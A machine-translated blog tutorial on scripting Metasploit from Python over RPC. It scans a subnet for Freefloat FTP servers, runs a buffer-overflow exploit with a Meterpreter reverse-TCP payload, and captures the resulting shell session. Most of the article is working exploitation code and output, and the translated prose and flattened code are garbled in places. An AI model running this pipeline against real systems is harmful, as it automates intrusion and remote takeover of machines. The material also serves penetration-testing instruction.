⬆️ ⬇️

Automate attacker's actions using metasploit and Python

Metaploit is known to be written in Ruby and does not support scripts written in Python. Despite this, the meta-exploit has a two-way RPC-interface with which you can run tasks.



There are two libraries that allow you to interact with the remote procedure call (RPC) metasploit - this is pymetasploit from allfro and python-msfrpc from SpiderLabs . This article uses the first one. On the Internet and the github pymetasploit repository there are examples of launching exploits and interacting with established sessions, but I could not find examples of launching scanners and getting output for further processing of the results. One of the options will be discussed below.



Install the library:



git clone https://github.com/allfro/pymetasploit 


At the time of this writing, I did not have a connection to msfrpc without this commit .

')

 cd pymetasploit python setup.py install 


Run the RPC listener:



 root@kali-template:~# msfrpcd -h Usage: msfrpcd <options> OPTIONS: -P <opt> Specify the password to access msfrpcd -S Disable SSL on the RPC socket -U <opt> Specify the username to access msfrpcd -a <opt> Bind to this IP address -f Run the daemon in the foreground -h Help banner -n Disable database -p <opt> Bind to this port instead of 55553 -t <opt> Token Timeout (default 300 seconds) -u <opt> URI for Web server root@kali-template:~# msfrpcd -P password -n -f -a 127.0.0.1 [*] MSGRPC starting on 127.0.0.1:55553 (SSL):Msg... [*] MSGRPC ready at 2018-03-28 14:34:10 +0300. 


Now Metaslpoit RPC listens locally on the default port 55553.



Task to automate



Suppose there is a subnet 192.168.0.0/24. It is known that several ftp servers are available in it. You need to check if any of them are affected by the Freefloat FTP Server - 'USER' Remote Buffer Overflow . When detected, exploit the vulnerability and get the shell of the vulnerable machine.



Import the necessary classes



 from metasploit.msfrpc import MsfRpcClient from metasploit.msfconsole import MsfRpcConsole 


To interact with RPC, only MsfRpcClient is sufficient, but to get the output of the scanning modules, interaction with the meta-layer console is needed, therefore we also import MsfRpcConsole.



Connect to the RPC listener, pass the password. Port and address are used by default.



 client = MsfRpcClient('password') 


Connect to the metasploit console, by default the console messages are output to the standard output and displayed on the screen. To “catch” this data and use it in the future, the MsfRpcConsole class uses the callback function, which is passed through the cb = parameter. Thus, each time the data for display comes to the console, the read_console function will be called.



 console = MsfRpcConsole(client, cb=read_console) 


The data comes in this format:



 In [6]: console.console.read() Out[6]: {'busy': False, 'data': '', 'prompt': 'msf > '} 


We define the read_console function so that the received data is available from the main program code. Define two global variables:





The read_console function will assign the value of the ´busy´ key to the global variable global_console_status and check whether the [+] symbol, which usually indicates a positive result of the module’s execution, is contained in the data ´data´ key. If the result is positive, the line containing [+] is added to the global_positive_out list:



 global global_positive_out global_positive_out = list() global global_console_status global_console_status = False def read_console(console_data): global global_console_status global_console_status = console_data['busy'] print global_console_status if '[+]' in console_data['data']: sigdata = console_data['data'].rstrip().split('\n') for line in sigdata: if '[+]' in line: global_positive_out.append(line) print console_data['data'] 


Now we will execute in the console the commands necessary to start the auxiliary of the ftp_version module.



 console.execute('use auxiliary/scanner/ftp/ftp_version') console.execute('set RHOSTS 192.168.0.0/24') console.execute('set THREADS 20') console.execute('run') time.sleep(5) 


We will wait for the completion of the module execution, checking whether the console is busy every 5 seconds:



 while global_console_status: time.sleep(5) 


After the module is completed, we will process the results and extract the IP addresses of hosts affected by the vulnerability:



 targets = list() for line in global_positive_out: if 'FreeFloat' in line: ip = re.findall(r'[0-9]+(?:\.[0-9]+){3}', line)[0] targets.append(ip) 


To exploit the found vulnerabilities, create an exploit object. To see which options the exploit has and which ones are required, you can use the exploit.options and exploit.required methods. Install LPORT, LHOST and EXITFUNC:



 In [4]: exploit.required Out[4]: ['RHOST', 'SSLVersion', 'ConnectTimeout', 'FTPTimeout', 'RPORT'] In [5]: exploit.options Out[5]: ['FTPDEBUG', 'ContextInformationFile', 'WORKSPACE', 'FTPPASS', 'FTPUSER', 'CHOST', 'RHOST', 'Proxies', 'DisablePayloadHandler', 'TCP::send_delay', 'SSLVersion', 'ConnectTimeout', 'CPORT', 'SSLVerifyMode', 'FTPTimeout', 'VERBOSE', 'SSLCipher', 'SSL', 'WfsDelay', 'TCP::max_send_size', 'EnableContextEncoding', 'RPORT'] exploit = client.modules.use('exploit', 'windows/ftp/freefloatftp_user') pl = client.modules.use('payload', 'windows/meterpreter/reverse_tcp') pl['LPORT'] = 443 pl['LHOST'] = localhost pl['EXITFUNC'] = 'thread' 


To run, you must call the execute () method, passing the previously initialized payload:



 for target in targets: exploit['RHOST'] = target ftpsession = exploit.execute(payload=pl) time.sleep(5) 


If successfully launched, the key job_id will contain a number, if unsuccessful, it will contain None.



 {'job_id': 1, 'uuid': 'uv0ontph'} 


Upon receipt of the session, client.sessions.list will contain the session number and parameters specific to this session in the format below:



 {1: {'info': 'SEMYON-FE434C23\\Administrator @ SEMYON-FE434C23', 'username': 'root', 'session_port': 21, 'via_payload': 'payload/windows/meterpreter/reverse_tcp', 'uuid': 'azxxoup4', 'tunnel_local': '192.168.0.92:443', 'via_exploit': 'exploit/windows/ftp/freefloatftp_user', 'arch': 'x86', 'exploit_uuid': 'uv0ontph', 'tunnel_peer': '192.168.0.90:4418', 'platform': 'windows', 'workspace': 'false', 'routes': '', 'target_host': '192.168.0.90', 'type': 'meterpreter', 'session_host': '192.168.0.90', 'desc': 'Meterpreter'}} 


In this case, the reverse session of the mega-explorer was chosen as the payload of the exploit. In order to determine whether the connection has come, you need to check whether there are new sessions in client.sessions.list. The key in this case is the exploit uuid, which should be equal to the exploit_uuid session. To implement, we define two functions for searching for new sessions, compare_sessions, which will wait the specified time and compare the old list of sessions with the current one and get_session, which will return the session corresponding to the launched exploit.



 def get_session(sessions_list, exploit_job): if not sessions_list: return False for session in sessions_list: if sessions_list[session]['exploit_uuid'] == exploit_job['uuid']: return session return False def compare_sessions(old_sessions_list, seconds = 120): flag = False while not flag: if seconds == 0: return False if client.sessions.list != old_sessions_list: flag = True time.sleep(1) seconds -= 1 current_sessions = client.sessions.list all(map(current_sessions.pop, old_sessions_list)) return current_sessions 


Save the current sessions, run the exploit:



 old_sessions = client.sessions.list ftpsession = exploit.execute(payload=pl) time.sleep(5) ftpsessioncode = get_session(client.sessions.list, ftpsession) if not ftpsessioncode: sys.exit() 


After receiving the session, we can interact with it by calling client.sessions.session () and passing the session number. Using the methods shell.read (), shell.write (), shell.runsingle (), you can send commands and read the response from the session meter.



 shell = client.sessions.session(ftpsessioncode) shell.read() 


Using the described technique, you can run any available modules and get output from the console.



The code is available in the githab repository .

Source: https://habr.com/ru/post/353642/



All Articles